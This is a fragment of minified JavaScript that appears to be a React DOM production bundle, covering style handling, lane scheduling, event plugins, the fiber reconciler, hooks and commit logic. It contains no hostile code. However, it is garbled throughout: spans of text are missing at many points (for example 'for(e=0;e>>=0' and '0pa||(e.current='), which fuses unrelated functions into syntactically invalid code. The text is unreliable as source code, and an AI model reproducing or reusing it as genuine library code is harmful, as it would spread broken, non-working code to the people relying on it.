Is={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},uz=["Webkit","ms","Moz","O"];Object.keys(Is).forEach(function(e){uz.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Is[t]=Is[e]})});function H2(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||Is.hasOwnProperty(e)&&Is[e]?(""+t).trim():t+"px"}function K2(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=H2(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var dz=Ue({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function jp(e,t){if(t){if(dz[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(Q(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(Q(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(Q(61))}if(t.style!=null&&typeof t.style!="object")throw Error(Q(62))}}function kp(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Np=null;function hh(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Sp=null,ka=null,Na=null;function dv(e){if(e=To(e)){if(typeof Sp!="function")throw Error(Q(280));var t=e.stateNode;t&&(t=Au(t),Sp(e.stateNode,e.type,t))}}function q2(e){ka?Na?Na.push(e):Na=[e]:ka=e}function Y2(){if(ka){var e=ka,t=Na;if(Na=ka=null,dv(e),t)for(e=0;e>>=0,e===0?32:31-(jz(e)/kz|0)|0}var al=64,sl=4194304;function _s(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function cc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,a=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=_s(l):(a&=o,a!==0&&(r=_s(a)))}else o=n&~i,o!==0?r=_s(o):a!==0&&(r=_s(a));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,a=t&-t,i>=a||i===16&&(a&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function _o(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-En(t),e[t]=n}function Cz(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=Rs),bv=" ",wv=!1;function mw(e,t){switch(e){case"keyup":return tC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function hw(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var ca=!1;function rC(e,t){switch(e){case"compositionend":return hw(t);case"keypress":return t.which!==32?null:(wv=!0,bv);case"textInput":return e=t.data,e===bv&&wv?null:e;default:return null}}function iC(e,t){if(ca)return e==="compositionend"||!kh&&mw(e,t)?(e=fw(),Ul=bh=Fr=null,ca=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=Sv(n)}}function yw(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?yw(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function bw(){for(var e=window,t=ac();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=ac(e.document)}return t}function Nh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function pC(e){var t=bw(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&yw(n.ownerDocument.documentElement,n)){if(r!==null&&Nh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,a=Math.min(r.start,i);r=r.end===void 0?a:Math.min(r.end,i),!e.extend&&a>r&&(i=r,r=a,a=i),i=zv(n,a);var o=zv(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),a>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,ua=null,_p=null,Bs=null,Op=!1;function Cv(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;Op||ua==null||ua!==ac(r)||(r=ua,"selectionStart"in r&&Nh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),Bs&&Qs(Bs,r)||(Bs=r,r=fc(_p,"onSelect"),0pa||(e.current=Rp[pa],Rp[pa]=null,pa--)}function Oe(e,t){pa++,Rp[pa]=e.current,e.current=t}var ii={},zt=ci(ii),$t=ci(!1),Ii=ii;function Oa(e,t){var n=e.type.contextTypes;if(!n)return ii;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},a;for(a in n)i[a]=t[a];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Bt(e){return e=e.childContextTypes,e!=null}function mc(){Le($t),Le(zt)}function Mv(e,t,n){if(zt.current!==ii)throw Error(Q(168));Oe(zt,t),Oe($t,n)}function Ew(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(Q(108,lz(e)||"Unknown",i));return Ue({},n,r)}function hc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ii,Ii=zt.current,Oe(zt,e),Oe($t,$t.current),!0}function Lv(e,t,n){var r=e.stateNode;if(!r)throw Error(Q(169));n?(e=Ew(e,t,Ii),r.__reactInternalMemoizedMergedChildContext=e,Le($t),Le(zt),Oe(zt,e)):Le($t),Oe($t,n)}var rr=null,_u=!1,jf=!1;function Aw(e){rr===null?rr=[e]:rr.push(e)}function SC(e){_u=!0,Aw(e)}function ui(){if(!jf&&rr!==null){jf=!0;var e=0,t=ze;try{var n=rr;for(ze=1;e>=o,i-=o,ar=1<<32-En(t)+i|n<z?(O=N,N=null):O=N.sibling;var E=m(v,N,w[z],j);if(E===null){N===null&&(N=O);break}e&&N&&E.alternate===null&&t(v,N),b=a(E,b,z),S===null?k=E:S.sibling=E,S=E,N=O}if(z===w.length)return n(v,N),Re&&gi(v,z),k;if(N===null){for(;zz?(O=N,N=null):O=N.sibling;var T=m(v,N,E.value,j);if(T===null){N===null&&(N=O);break}e&&N&&T.alternate===null&&t(v,N),b=a(T,b,z),S===null?k=T:S.sibling=T,S=T,N=O}if(E.done)return n(v,N),Re&&gi(v,z),k;if(N===null){for(;!E.done;z++,E=w.next())E=f(v,E.value,j),E!==null&&(b=a(E,b,z),S===null?k=E:S.sibling=E,S=E);return Re&&gi(v,z),k}for(N=r(v,N);!E.done;z++,E=w.next())E=h(N,v,z,E.value,j),E!==null&&(e&&E.alternate!==null&&N.delete(E.key===null?z:E.key),b=a(E,b,z),S===null?k=E:S.sibling=E,S=E);return e&&N.forEach(function(P){return t(v,P)}),Re&&gi(v,z),k}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===la&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case nl:e:{for(var k=w.key,S=b;S!==null;){if(S.key===k){if(k=w.type,k===la){if(S.tag===7){n(v,S.sibling),b=i(S,w.props.children),b.return=v,v=b;break e}}else if(S.elementType===k||typeof k=="object"&&k!==null&&k.$$typeof===Lr&&Rv(k)===S.type){n(v,S.sibling),b=i(S,w.props),b.ref=ms(v,S,w),b.return=v,v=b;break e}n(v,S);break}else t(v,S);S=S.sibling}w.type===la?(b=_i(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=Zl(w.type,w.key,w.props,null,v.mode,j),j.ref=ms(v,b,w),j.return=v,v=j)}return o(v);case oa:e:{for(S=w.key;b!==null;){if(b.key===S)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=Af(w,v.mode,j),b.return=v,v=b}return o(v);case Lr:return S=w._init,y(v,b,S(w._payload),j)}if(As(w))return x(v,b,w,j);if(cs(w))return g(v,b,w,j);pl(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Ef(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var Ma=Mw(!0),Lw=Mw(!1),gc=ci(null),yc=null,xa=null,Ph=null;function Eh(){Ph=xa=yc=null}function Ah(e){var t=gc.current;Le(gc),e._currentValue=t}function Fp(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function za(e,t){yc=e,Ph=xa=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Lt=!0),e.firstContext=null)}function hn(e){var t=e._currentValue;if(Ph!==e)if(e={context:e,memoizedValue:t,next:null},xa===null){if(yc===null)throw Error(Q(308));xa=e,yc.dependencies={lanes:0,firstContext:e}}else xa=xa.next=e;return t}var Si=null;function _h(e){Si===null?Si=[e]:Si.push(e)}function Iw(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,_h(t)):(n.next=i.next,i.next=n),t.interleaved=n,pr(e,r)}function pr(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var Ir=!1;function Oh(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Dw(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function cr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function Gr(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,be&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,pr(e,n)}return i=r.interleaved,i===null?(t.next=t,_h(r)):(t.next=i.next,i.next=t),r.interleaved=t,pr(e,n)}function Hl(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,vh(e,n)}}function $v(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,a=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};a===null?i=a=o:a=a.next=o,n=n.next}while(n!==null);a===null?i=a=t:a=a.next=t}else i=a=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:a,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function bc(e,t,n,r){var i=e.updateQueue;Ir=!1;var a=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?a=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(a!==null){var f=i.baseState;o=0,d=u=c=null,l=a;do{var m=l.lane,h=l.eventTime;if((r&m)===m){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(m=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,m);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,m=typeof x=="function"?x.call(h,f,m):x,m==null)break e;f=Ue({},f,m);break e;case 2:Ir=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,m=i.effects,m===null?i.effects=[l]:m.push(l))}else h={eventTime:h,lane:m,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=m;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;m=l,l=m.next,m.next=null,i.lastBaseUpdate=m,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else a===null&&(i.shared.lanes=0);$i|=o,e.lanes=o,e.memoizedState=f}}function Bv(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Nf.transition;Nf.transition={};try{e(!1),t()}finally{ze=n,Nf.transition=r}}function ej(){return xn().memoizedState}function EC(e,t,n){var r=Zr(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},tj(e))nj(t,n);else if(n=Iw(e,t,n,r),n!==null){var i=Et();An(n,e,r,i),rj(n,t,r)}}function AC(e,t,n){var r=Zr(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(tj(e))nj(t,i);else{var a=e.alternate;if(e.lanes===0&&(a===null||a.lanes===0)&&(a=t.lastRenderedReducer,a!==null))try{var o=t.lastRenderedState,l=a(o,n);if(i.hasEagerState=!0,i.eagerState=l,On(l,o)){var c=t.interleaved;c===null?(i.next=i,_h(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=Iw(e,t,i,r),n!==null&&(i=Et(),An(n,e,r,i),rj(n,t,r))}}function tj(e){var t=e.alternate;return e===Fe||t!==null&&t===Fe}function nj(e,t){Fs=jc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function rj(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,vh(e,n)}}var kc={readContext:hn,useCallback:kt,useContext:kt,useEffect:kt,useImperativeHandle:kt,useInsertionEffect:kt,useLayoutEffect:kt,useMemo:kt,useReducer:kt,useRef:kt,useState:kt,useDebugValue:kt,useDeferredValue:kt,useTransition:kt,useMutableSource:kt,useSyncExternalStore:kt,useId:kt,unstable_isNewReconciler:!1},_C={readContext:hn,useCallback:function(e,t){return Wn().memoizedState=[e,t===void 0?null:t],e},useContext:hn,useEffect:Wv,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,ql(4194308,4,Gw.bind(null,t,e),n)},useLayoutEffect:function(e,t){return ql(4194308,4,e,t)},useInsertionEffect:function(e,t){return ql(4,2,e,t)},useMemo:function(e,t){var n=Wn();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Wn();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=EC.bind(null,Fe,e),[r.memoizedState,e]},useRef:function(e){var t=Wn();return e={current:e},t.memoizedState=e},useState:Fv,useDebugValue:Bh,useDeferredValue:function(e){return Wn().memoizedState=e},useTransition:function(){var e=Fv(!1),t=e[0];return e=PC.bind(null,e[1]),Wn().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=Fe,i=Wn();if(Re){if(n===void 0)throw Error(Q(407));n=n()}else{if(n=t(),dt===null)throw Error(Q(349));Ri&30||Fw(r,t,n)}i.memoizedState=n;var a={value:n,getSnapshot:t};return i.queue=a,Wv(Uw.bind(null,r,a,e),[e]),r.flags|=2048,so(9,Ww.bind(null,r,a,n,t),void 0,null),n},useId:function(){var e=Wn(),t=dt.identifierPrefix;if(Re){var n=sr,r=ar;n=(r&~(1<<32-En(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=io++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[Un]=t,e[to]=r,pj(e,t,!1,!1),t.stateNode=e;e:{switch(o=kp(n,r),n){case"dialog":Te("cancel",e),Te("close",e),i=r;break;case"iframe":case"object":case"embed":Te("load",e),i=r;break;case"video":case"audio":for(i=0;iDa&&(t.flags|=128,r=!0,hs(a,!1),t.lanes=4194304)}else{if(!r)if(e=wc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),hs(a,!0),a.tail===null&&a.tailMode==="hidden"&&!o.alternate&&!Re)return Nt(t),null}else 2*Xe()-a.renderingStartTime>Da&&n!==1073741824&&(t.flags|=128,r=!0,hs(a,!1),t.lanes=4194304);a.isBackwards?(o.sibling=t.child,t.child=o):(n=a.last,n!==null?n.sibling=o:t.child=o,a.last=o)}return a.tail!==null?(t=a.tail,a.rendering=t,a.tail=t.sibling,a.renderingStartTime=Xe(),t.sibling=null,n=Be.current,Oe(Be,r?n&1|2:n&1),t):(Nt(t),null);case 22:case 23:return Kh(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?Kt&1073741824&&(Nt(t),t.subtreeFlags&6&&(t.flags|=8192)):Nt(t),null;case 24:return null;case 25:return null}throw Error(Q(156,t.tag))}function $C(e,t){switch(zh(t),t.tag){case 1:return Bt(t.type)&&mc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return La(),Le($t),Le(zt),Lh(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return Mh(t),null;case 13:if(Le(Be),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(Q(340));Ta()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Le(Be),null;case 4:return La(),null;case 10:return Ah(t.type._context),null;case 22:case 23:return Kh(),null;case 24:return null;default:return null}}var hl=!1,St=!1,BC=typeof WeakSet=="function"?WeakSet:Set,le=null;function va(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){qe(e,t,r)}else n.current=null}function Xp(e,t,n){try{n()}catch(r){qe(e,t,r)}}var Jv=!1;function FC(e,t){if(Tp=uc,e=bw(),Nh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,a=r.focusNode;r=r.focusOffset;try{n.nodeType,a.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,m=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==a||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)m=f,f=h;for(;;){if(f===e)break t;if(m===n&&++u===i&&(l=o),m===a&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=m,m=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(Mp={focusedElem:e,selectionRange:n},uc=!1,le=t;le!==null;)if(t=le,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,le=e;else for(;le!==null;){t=le;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:kn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(Q(163))}}catch(j){qe(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,le=e;break}le=t.return}return x=Jv,Jv=!1,x}function Ws(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var a=i.destroy;i.destroy=void 0,a!==void 0&&Xp(t,n,a)}i=i.next}while(i!==r)}}function Mu(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function Zp(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function xj(e){var t=e.alternate;t!==null&&(e.alternate=null,xj(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[Un],delete t[to],delete t[Dp],delete t[kC],delete t[NC])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function vj(e){return e.tag===5||e.tag===3||e.tag===4}function eg(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||vj(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function Qp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=pc));else if(r!==4&&(e=e.child,e!==null))for(Qp(e,t,n),e=e.sibling;e!==null;)Qp(e,t,n),e=e.sibling}function Jp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(Jp(e,t,n),e=e.sibling;e!==null;)Jp(e,t,n),e=e.sibling}var vt=null,Nn=!1;function Tr(e,t,n){for(n=n.child;n!==null;)gj(e,t,n),n=n.sibling}function gj(e,t,n){if(qn&&typeof qn.onCommitFiberUnmount=="function")try{qn.onCommitFiberUnmount(zu,n)}catch{}switch(n.tag){case 5:St||va(n,t);case 6:var r=vt,i=Nn;vt=null,Tr(e,t,n),vt=r,Nn=i,vt!==null&&(Nn?(e=vt,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):vt.removeChild(n.stateNode));break;case 18:vt!==null&&(Nn?(e=vt,n=n.stateNode,e.nodeType===8?wf(e.parentNode,n):e.nodeType===1&&wf(e,n),Xs(e)):wf(vt,n.stateNode));break;case 4:r=vt,i=Nn,vt=n.stateNode.containerInfo,Nn=!0,Tr(e,t,n),vt=r,Nn=i;break;case 0:case 11:case 14:case 15:if(!St&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var a=i,o=a.destroy;a=a.tag,o!==void 0&&(a&2||a&4)&&Xp(n,t,o),i=i.next}while(i!==r)}Tr(e,t,n);break;case 1:if(!St&&(va(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){qe(n,t,l)}Tr(e,t,n);break;case 21:Tr(e,t,n);break;case 22:n.mode&1?(St=(r=St)||n.memoizedState!==null,Tr(e,t,n),St=r):Tr(e,t,n);break;default:Tr(e,t,n)}}function tg(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new BC),t.forEach(function(r){var i=XC.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function wn(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~a}if(r=i,r=Xe()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*UC(r/1960))-r,10e?16:e,Wr===null)var r=!1;else{if(e=Wr,Wr=null,zc=0,be&6)throw Error(Q(331));var i=be;for(be|=4,le=e.current;le!==null;){var a=le,o=a.child;if(le.flags&16){var l=a.deletions;if(l!==null){for(var c=0;cXe()-Vh?Ai(e,0):Uh|=n),Ft(e,t)}function zj(e,t){t===0&&(e.mode&1?(t=sl,sl<<=1,!(sl&130023424)&&(sl=4194304)):t=1);var n=Et();e=pr(e,t),e!==null&&(_o(e,t,n),Ft(e,n))}function GC(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),zj(e,n)}function XC(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(Q(314))}r!==null&&r.delete(t),zj(e,n)}var Cj;Cj=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||$t.current)Lt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Lt=!1,DC(e,t,n);Lt=!!(e.flags&131072)}else Lt=!1,Re&&t.flags&1048576&&_w(t,vc,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;Yl(e,t),e=t.pendingProps;var i=Oa(t,zt.current);za(t,n),i=Dh(null,t,r,e,i,n);var a=Rh();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Bt(r)?(a=!0,hc(t)):a=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,Oh(t),i.updater=Tu,t.stateNode=i,i._reactInternals=t,Up(t,r,e,n),t=Kp(null,t,r,!0,a,n)):(t.tag=0,Re&&a&&Sh(t),Ct(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(Yl(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=QC(r),e=kn(r,e),i){case 0:t=Hp(null,t,r,e,n);break e;case 1:t=Xv(null,t,r,e,n);break e;case 11:t=Yv(null,t,r,e,n);break e;case 14:t=Gv(null,t,r,kn(r.type,e),n);break e}throw Error(Q(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:kn(r,i),Hp(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:kn(r,i),Xv(e,t,r,i,n);case 3:e:{if(uj(t),e===null)throw Error(Q(387));r=t.pendingProps,a=t.memoizedState,i=a.element,Dw(e,t),bc(t,r,null,n);var 